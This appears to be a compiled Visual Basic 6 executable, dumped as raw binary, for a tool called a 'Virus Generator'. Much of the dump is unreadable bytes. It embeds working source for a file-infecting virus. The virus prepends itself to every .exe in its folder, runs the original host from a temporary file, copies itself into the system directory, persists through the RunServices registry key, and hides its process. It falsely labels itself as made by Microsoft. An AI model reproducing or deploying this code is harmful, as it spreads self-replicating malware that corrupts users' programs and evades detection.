MZ@ !L!This program cannot be run in DOS mode. $sisisildsiRichsiPEL(;;  L@ğ( (  .text `.data @.rsrc @@5MSVBVM60.DLLfff6fCfepff% @%@%@%@%@%@%@h{@0@:TfPrs" Project1ialog4.1!c6TfPrd6TfPr:O3f `ӓDj Form1 WM VB Virus GeneratorB"#lt ( @ʦf3f3̙f3fffff3ff333f3333f3ff3f3̙f3fffff3ff333f3333f3f3̙̙̙f̙3̙̙̙f3fffff3ff333f3333f3fffff3fffffff3fff̙ffff3fffffffffff3ffff3f3f3ff3f33f3ffffff3ff333f3333333f33333̙33f3333f3f3f3ff33f3f3333333f3333333333f3333f3f3̙f3ffffff3f333f3333f3wUD"wUD"UUUwwwwwwDDD"""wUD"pppppp񔔹ppppppppppppppppppppppppppppppppppppppppppppp=>>>|?xǀ>~y~$Form1&'5-JF! CommonDialog6MSComDlg.CommonDialog-LB !C4OO<n A@5C:\Arquivos de programas\Microsoft Visual Studio\VB989:0  CommonDialog5MSComDlg.CommonDialog-LB L!C4OO< A9: V7 Globalmodu G .7 Declare Function GetVersionEx Lib "Kernel32" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long Public Declare Function EnableWindow Lib "user32" (ByVal hwnd As Integer, ByVal aBOOL As Integer) As Integer Public Declare Function IsWindowEnabled Lib "user32" (ByVal hwnd As Integer) As Integer Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasConn As Any, lpcb As Long, lpcConnections As Long) As Long Declare Function RasHangUp Lib "RasApi32.dll" Alias "RasHangUpA" (ByVal hRasConn As Long) As Long Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long Public Declare Function RegOpenKey Lib "advapi32.dll" Alias " RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Public Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long Public Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long Public Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long Public Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long Public Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long Global Const EWX_REBOOT = 2 Public Const ANYSIZE_ARRAY = 1 Type LARGE_INTEGER lowpart As Long highpart As Long End Type Type LUID_AND_ATTRIBUTES pLuid As LARGE_INTEGER Attributes As Long End Type Type TOKEN_PRIVILEGES PrivilegeCount As Long Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES End Type Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long Declare Function GetCurrentProcess Lib "Kernel32" () As Long Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long Public Const REG_SZ As Long = 1 Public Const REG_BINARY As Long = 3 Public Const REG_DWORD As Long = 4 Public Const HKEY_CLASSES_ROOT = &H80000000 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const RAS_MAXENTRYNAME As Integer = 256 Public Const RAS_MAXDEVICETYPE As Integer = 16 Public Const RAS_MAXDEVICENAME As Integer = 128 Public Const RAS_RASCONNSIZE As Integer = 412 Public Type RasEntryName dwSize As Long szEntryName(RAS_MAXENTRYNAME) As Byte End Type Public Type RasConn dwSize As Long hRasConn As Long szEntryName(RAS_MAXENTRYNAME) As Byte szDeviceType(RAS_MAXDEVICETYPE) As Byte szDeviceName(RAS_MAXDEVICENAME) As Byte End Type Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Global cSystemDiretorio As String Global cBuffer As String * 255 Global xAnswer As String Public Declare Function CopyFile Lib "Kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long Public Declare Function RegMSWINSCK Lib "MSWINSCK.OCX" Alias "DllRegisterServer" () As Long 'Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasConn As Any, lpcb As Long, lpcConnections As Long) As Long Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long 'Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Const RAS95_MaxEntryName = 256 Const RAS95_MaxDeviceType = 16 Const RAS95_MaxDeviceName = 32 Private Type RASCONN95 dwSize As Long hRasCon As Long szEntryName(RAS95_MaxEntryName) As Byte szDeviceType(RAS95_MaxDeviceType) As Byte szDeviceName(RAS95_MaxDeviceName) As Byte End Type Private Type RASCONNSTATUS95 dwSize As Long RasConnState As Long dwError As Long szDeviceType(RAS95_MaxDeviceType) As Byte szDeviceName(RAS95_MaxDeviceName) As Byte End Type Global cDiretorioWindows As String Global cDiretorioSystem As String Global cAppDirectory As String Global ccomputer As String Public Sub HangUp() Dim lpRasConn(255) As RasConn Dim lpcb As Long Dim lpcConnections As Long Dim hRasConn As Long Dim nLoop As Long lpRasConn(0).dwSize = RAS_RASCONNSIZE lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize lpcConnections = 0 ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections) If ReturnCode = ERROR_SUCCESS Then For nLoop = 0 To lpcConnections - 1 If Trim(ByteToString(lpRasConn(nLoop).szEntryName)) = Trim(gstrISPName) Then hRasConn = lpRasConn(nLoop).hRasConn ReturnCode = RasHangUp(ByVal hRasConn) End If Next End If End Sub Public Function ByteToString(bytString() As Byte) As String Dim nLoop As Integer ByteToString = "" nLoop = 0 While bytString(nLoop) = 0& ByteToString = ByteToString & Chr(bytString(nLoop)) nLoop = nLoop + 1 Wend End Function Sub Main() cAppDirectory = App.Path If Right(cAppDirectory, 1) <> "\" Then cAppDirectory = cAppDirectory + "\" End If If App.PrevInstance Then End End If lWindowsNT = False xAnswer = VersaoWindows() If Not lWindowsNT Then xAnswer = RegisterServiceProcess(0, 1) End If xAnswer = GetSystemDirectory(cBuffer, Len(cBuffer)) cDiretorioSystem = Left(cBuffer, xAnswer) xAnswer = GetWindowsDirectory(cBuffer, Len(cBuffer)) cDiretorioWindows = Left(cBuffer, xAnswer) If Right(cDiretorioSystem, 1) <> "\" Then cDiretorioSystem = cDiretorioSystem + "\" End If If Right(cDiretorioWindows, 1) <> "\" Then cDiretorioWindows = cDiretorioWindows + "\" End If End Sub Public Function RemoveChr0(cString As String) While Right(cString, 1) = Chr$(0) cString = Left(cString, Len(cString) - 1) Wend RemoveChr0 = cString End Function Public Sub SetKeyValue(ByVal hKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long) Dim lRetVal As Long lRetVal = RegOpenKeyEx(hKey, sKeyName, 0, KEY_ALL_ACCESS, hKey) lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting) RegCloseKey (hKey) End Sub Public Function QueryValue(ByVal hKey As Long, sKeyName As String, sValueName As String) As String Dim lRetVal As Long Dim vValue As Variant lRetVal = RegOpenKeyEx(hKey, sKeyName, 0, KEY_ALL_ACCESS, hKey) lRetVal = QueryValueEx(hKey, sValueName, vValue) QueryValue = vValue RegCloseKey (hKey) End Function Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long Dim lValue As Long Dim sValue As String Select Case lType Case REG_SZ sValue = vValue & Chr$(0) SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue)) Case REG_DWORD lValue = vValue SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4) End Select End Function Public Sub CreateNewKey(sNewKeyName As String, lPredefinedKey As Long) Dim hNewKey As Long Dim lRetVal As Long lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal) RegCloseKey (hNewKey) End Sub Public Function VersaoWindows() As String Dim myOS As OSVERSIONINFO Dim cSystem As String Dim lResult As Long myOS.dwOSVersionInfoSize = Len(myOS) lResult = GetVersionEx(myOS) lWindowsNT = False If myOS.dwPlatformId = VER_PLATFORM_WIN32_NT Then cSystem = "Windows NT " lWindowsNT = True ElseIf myOS.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then cSystem = "Windows 95/98 " ElseIf myOS.dwPlatformId = VER_PLATFORM_WIN32s Then cSystem = "Win32s " Else cSystem = "Indefinido " End If VersaoWindows = cSystem & _ myOS.dwMajorVersion & "." & _ myOS.dwMinorVersion & " " & _ Trim(myOS.dwBuildNumber) & " " & _ Trim(RemoveChr0(myOS.szCSDVersion)) End Function Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long On Error GoTo QueryValueExError Dim cch As Long Dim lrc As Long Dim lType As Long Dim lValue As Long Dim nLoop As Long Dim sValue As String Dim sBinaryString As String lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch) If lrc <> ERROR_NONE Then Error 5 Select Case lType Case REG_SZ: sValue = String(cch, 0) lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch) If lrc = ERROR_NONE Then vValue = Left$(sValue, cch - 1) Else vValue = Empty End If Case REG_BINARY sValue = String(cch, 0) lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch) If lrc = ERROR_NONE Then vValue = sValue Else vValue = Empty End If sBinaryString = "" For nLoop = 1 To Len(sValue) sBinaryString = sBinaryString & Format$(Hex(Asc(Mid$(vValue, nLoop, 1))), "00") & " " Next vValue = sBinaryString Case REG_DWORD: lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch) If lrc = ERROR_NONE Then vValue = lValue Case Else lrc = -1 End Select QueryValueExExit: QueryValueEx = lrc Exit Function QueryValueExError: Resume QueryValueExExit End Function Public Function RebootSystem() As Boolean Dim hToken As Long Dim lAnswer As Long Dim tkp As TOKEN_PRIVILEGES Dim tkpOld As TOKEN_PRIVILEGES Dim fOkReboot As Boolean If lWindowsNT Then If OpenProcessToken(GetCurrentProcess(), _ TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken) Then lAnswer = LookupPrivilegeValue(vbNullString, "SeShutdownPrivilege", tkp.Privileges(0).pLuid) tkp.PrivilegeCount = 1 tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED fOkReboot = AdjustTokenPrivileges(hToken, 0, tkp, LenB(tkpOld), tkpOld, lAnswer) End If Else fOkReboot = True End If If fOkReboot Then RebootSystem = (ExitWindowsEx(EWX_REBOOT, 0) <> 0) End If End Function Public Function InternetConnected() As Boolean Dim TRasCon(255) As RASCONN95 Dim lg As Long Dim lpcon As Long Dim Tstatus As RASCONNSTATUS95 TRasCon(0).dwSize = 412 lg = 256 * TRasCon(0).dwSize If RasEnumConnections(TRasCon(0), lg, lpcon) = 0 Then Tstatus.dwSize = 160 RasGetConnectStatus TRasCon(0).hRasCon, Tstatus InternetConnected = (Tstatus.RasConnState = &H2000) End If End Function  CommonDialog4MSComDlg.CommonDialog-LB \!C4OO< AGlobal98":` Frame1x'o  *Command3Compilar'w&Command2Sairw'Command1Gerarxw,ndeByteshG 24576%/Text1_  Windows Explorer 5Text28_  File.Infected.WM.VIRUS !Text3 05 J Label1*N de bytes adicionado ao arquivo infectadohh 4 Label5Chave no registro:70 Label6Nome do Vrus:87: Label7Ativar o virus todo dia:x Form1Fim0w  '** The following sorts the '\' problem out, remove this, ' compile and run from the C: drive, to see why this is required If Right(App.Path, 1) <> "\" Then MyPath = App.Path & "\" Else MyPath = App.Path End If MyFile = App.EXEName & ".exe" ' Store the running file's name into a variable On Error GoTo ErrHandle ' If an error occurs goto the ErrHandle handler Open MyPath & MyFile For Binary Access Read As #FF vbArray = Space$(MySize) ' Sets the buffer up for the file data Get #1, 1, vbArray ' Store the file data in to variable Close #FF Victim = Dir(MyPath & "*.exe") ' Find your first victim .EXE file While Victim <> "" ' Find subsequent EXE's in the same directory, until there are no more! ' If the victim file, has the same directory and name as the file ' that is running - skip the next part If LCase(MyPath & Victim) <> LCase(MyPath & MyFile) Then Open Victim For Binary Access Read As #FF hArray = Space(LOF(FF)) ' Sets buffer up for the file data Get #1, 1, hArray ' Copy th file data into a variable Close #FF CheckX = Mid(hArray, Len(hArray)) ' Store the last character in the ' victim file in CheckX If LCase(CheckX) <> Infectado Then ' if the character = X then the file has ' already been infected, if not continue Open Victim For Binary Access Write As #FF Put #FF, 1, vbArray ' Place our code in the front of the file Put #FF, MySize, hArray ' Follow it immediatley by the victims code Put #FF, LOF(FF) + 1, Infectado 'Place an X at the end to show it's been infected Close #FF 'Thats how this virus got it's name! End If Else End If Victim = Dir() ' Find the next file to infect Wend ' Go back to the start Open MyPath & MyFile For Binary Access Read As #FF Length = (LOF(FF) - MySize) ' Store the length of the current file minus the virus file size in the variable If Length > 0 Then 'if it's more than 0, the file is infected, if not, this is the raw virus file vbArray = Space(Length) ' Create buffer in variable, for the size of the file Get #FF, MySize, vbArray ' Get the old host data from out of this file Close #FF Open MyPath & App.EXEName & ".xvx" For Binary Access Write As #FF Put #FF, , vbArray ' Place the old host data into a temporary file Close #FF idProg = Shell(MyPath & App.EXEName & ".xvx", vbNormalFocus) ' Run the old host code hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) ' Get it running application code number GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE ' Wait untill the program is shut down DoEvents GetExitCodeProcess hProg, iExit Loop On Error Resume Next Kill MyPath & App.EXEName & ".xvx" ' Delete the old host code Else Close #1 On Error GoTo ErrHandle FileCopy MyPath & MyFile, "C:\virus.exe" ' Copy the file to the A: End If End If rro: ErrHandle: End Sub  7Data' data = Format(data, "dd")z Form1Inicio40P P cRegistry = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices" If QueryValue(HKEY_LOCAL_MACHINE, cRegistry, Chavinha) <> cDestinoEXE Then CreateNewKey cRegistry, HKEY_LOCAL_MACHINE SetKeyValue HKEY_LOCAL_MACHINE, cRegistry, Chavinha, cDestinoEXE, REG_SZ End If SetAttr cDestinoEXE, vbHidden End Sub  Aspas' " Form1Inicio30g Public Sub RegistryVerify() On Error Resume Next Dim cOrigemEXE As String Dim cDestinoEXE As String Dim cDestinoEXE1 As String Dim cRegistry As String Dim cArquivo As String Dim Chavinha As String cOrigemEXE = UCase$(cAppDirectory & App.EXEName & ".EXE") cDestinoEXE = UCase(cDiretorioSystem & App.EXEName & ".exe") cDestinoEXE1 = UCase(cDiretorioWindows & App.EXEName & ".exe") FileCopy cOrigemEXE, cDestinoEXE 6 Form1Inicio20g Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "Kernel32" (ByVal hObject As Long) As Long b Form1Inicio10X 8VERSION 5.00 Begin VB.Form wm BackColor = &H00FFFFFF& BorderStyle = 0 'None ClientHeight = 90 ClientLeft = 2670 ClientTop = 1395 ClientWidth = 360 ControlBox = 0 'False BeginProperty Font Name = "Arial" Size = 8.25 Charset = 0 Weight = 400 Underline = 0 'False Italic = 0 'False Strikethrough = 0 'False EndProperty LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False MousePointer = 2 'Cross ScaleHeight = 90 ScaleWidth = 360 ShowInTaskbar = 0 'False StartUpPosition = 2 'CenterScreen Visible = 0 'False End Attribute VB_Name = "wm" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Option Explicit Private Victim As String ' Holds the Victim files file name Private vbArray As String ' Holds our virus code Private hArray As String ' Holds the Victim files Binary code Private Length As Long ' Holds the running files length Private CheckX As String ' Holds the value which to check for infection  CommonDialog3MSComDlg.CommonDialog-LB T!C4OO< Awm9X :` BASx` 'Declare the API function that makes 'the form stay on top Private Declare Function SystemParametersInfo Lib _ "user32" Alias "SystemParametersInfoA" (ByVal uAction _ As Long, ByVal uParam As Long, ByVal lpvParam As Any, _ ByVal fuWinIni As Long) As Long Global Const SWP_NOMOVE = 2 Global Const SWP_NOSIZE = 1 Global Const HWND_TOPMOST = -1 Global Const HWND_NOTOPMOST = -2 Global Const FLOAT = 1, SINK = 0 'Declare the API that desables Alt+Cntrl+Del 'by convincing windows that a screen saver 'is running Public Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As _ Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal _ Y As Long, ByVal cx As Long, ByVal cy As Long _ , ByVal wFlags As Long) 'The procedure that makes the form stay on top Sub FloatWindow(X As Integer, action As Integer) ' When called by a form: ' If action <> 0 makes the form float (always on top) ' If action = 0 "unfloats" the window. Dim wFlags As Integer, result As Integer wFlags = SWP_NOMOVE Or SWP_NOSIZE If action <> 0 Then ' Float Call SetWindowPos(X, HWND_TOPMOST, 0, 0, 0, 0, wFlags) Else ' Sink Call SetWindowPos(X, HWND_NOTOPMOST, 0, 0, 0, 0, wFlags) End If End Sub  CommonDialog2MSComDlg.CommonDialog-LB f!C4OO< A VirusModule9:`  CommonDialog1MSComDlg.CommonDialog-LB Z!C4OO< AVirus9 :` 7VBPxg Type=Exe Form=wm.frm Module=VirusCommands; VirusModule.bas Module=Module1; Global.bas IconForm="wm" Startup="wm" HelpFile="" NoControlUpgrade=1 Title="Winoldap" ExeName32="setup.exe" Command32="" Name="Virus" HelpContextID="0" Description="Visual Basic Virus" CompatibleMode="0" MajorVer=1 MinorVer=0 RevisionVer=0 AutoIncrementVer=0 ServerSupportFiles=0 VersionComments="Created By Microsoft" VersionCompanyName="Microsoft" VersionFileDescription="Microsoft" VersionLegalCopyright="Microsoft Corporation" CompilationType=-1 OptimizationType=1 FavorPentiumPro(tm)=0 CodeViewDebugInfo=0 NoAliasing=-1 BoundsCheck=-1 OverflowCheck=-1 FlPointCheck=-1 FDIVCheck=-1 UnroundedFP=-1 StartMode=0 Unattended=0 Retained=0 ThreadPerObject=0 MaxNumberOfThreads=1 &Label9Url:Hw>Label8www.hostcontrol.cjb.net8H@Label4hostcontrol@flashmail.com8Xb+Label3 Contact: XgfLabel2!WishMaster Simple Virus Generator xx%X MS Sans Serif@Pc6TfPrj@LVB5!*~ |}@0D{@4|@X@xGeradordeVirusGeradordeVirusProject1H8H%;<+/I<+/I90~uMuI_=PrtI_=PrFsI_=PrvI_=Pr` W 28C4C820-401A-101B-A3C9-08002B2F49FBCOMDLG32.OCXMSComDlg.CommonDialogCommonDialog@@@ @&@*\AC:\WIN\Desktop\Backup\Projetos\Visual Basic\Virusgenerator\GeradordeVirus.vbp<{@$@|@@:TfPr  @P@ P@x@H@<@Form1Project1d6TfPr̼:TfPrc6TfPr̻:TfPrN3f `ӓLabel3.=h8+3qC:\Arquivos de programas\Microsoft Visual Studio\VB98\VB6.OLBVB@ Ā@@Ȳ@H-_N3f `ӓFrame1N3f `ӓBASGlobalmoduForm1Inicio1ndeBytesForm1Inicio2Form1Inicio3AspasText1Form1Inicio4Text2DataText3Form1FimVBPN3f `ӓCommand3:O3f `ӓFormCommand1Command2Label8Label9Label4Label5Label6Label7Label1Label2 0Basic Files(*.bas)|*.basN3f `ӓ.Form Files(*.frm)|*.frm2Const MySize As Integer =Chavinha=:Private Sub Form_Initialize()Dim dataDim InfectadoDim I As Long Dim FF*Dim MyPath As String (Dim MyFile As StringRegistryVerifyInfectado= data = Now()If data=then FF = FreeFile , On Error Resume Next BVisual Basic Project(*.vbp)|*.vbpVirus.vbp#=h8+3q"=h8+3q@ȅ@@̲@:Visual Basic EXE(*.exe)|*.exe /make VBA6.DLL@@ @@@@ 8VaȆ@l@L@T@P@T@hl@@a@@Ă@؂@@@ @X@p@@ȃ@@@@L@|@@@܄@@@(@\@@̲@؅@ȅ@@4@ @L@H@@|@@@4@@b@@ 80@ @b@@@<H@l@bX@@@H@@b\@@DH@\@bh@@HH@ԍ@bx@@LH@L@b@@PH@Ď@b@@TH@<@b@@XH@@b@@\H@,@b@@`H@@bā@@dH@@b́@@hH@@bԁ@@lH@  @b܁@ @pH@@b@@t@@b@@x@X@$b@@|@@b @@@H@b,@@@@b8@@@@b@@@@d@bH@@@ ĕ@bP@ @@ $@bX@ @@ @b`@ @@ @bh@ @@D@bp@@@ӗ@T@P@,@2@8@|@P@,@2@8@@P@,@2@8@̇@P@,@2@8@@P@,@2@8@@P@,@2@8@D@P@,@2@8@l@P@,@2@8@@P@,@2@8@@P@,@2@8@@P@,@2@8@ @P@,@2@8@4@P@,@2@8@\@P@,@2@8@@P@,@2@8@@P@,@2@8@ԉ@P@,@2@8@̗@@P@,@2@8@$@P@,@2@8@@L@P@,@2@8@@t@P@,@2@8@@P@,@2@8@Ċ@P@,@2@8@@P@,@2@8@@P@,@2@8@<@P@,@2@8@d@P@,@2@8@@P@,@2@8@|f=3L@h>@øf=3H@h>@øtf=3@h>@@P@@@@@lx$ xP@$ x@@@@в@@0@Բ@@H@ز@@@ܲ@@@@:L%!x88,8!x888!p88a(`#$=/$85(r!x88a(`F\85(:L%!|88,8!|888!|88a(`#$=/$85(!|88a(`Fl85(Kl:L(\ t 6(P@p,l\$8(:l%!lXX,X!lXXX!lXXaH`#D=/DX5H!lXXaH`#D]/DX5HD!HXX lD /DX=:l%!dXX,X!dXXX!dXXaH`#D=/DX5H@!dXXaH`#D]/DX5HD!XX lD /DX=:l%!hXX,X!hXXX!hXXaH`#D=/DX5H_!hXXaH`#D]/DX5H!D@Q@[X )X@D! XX lD*#< 2D<X!@@Q@[X )X@!<@Q@[X )X@D!8XX >>|?xǀ>~y~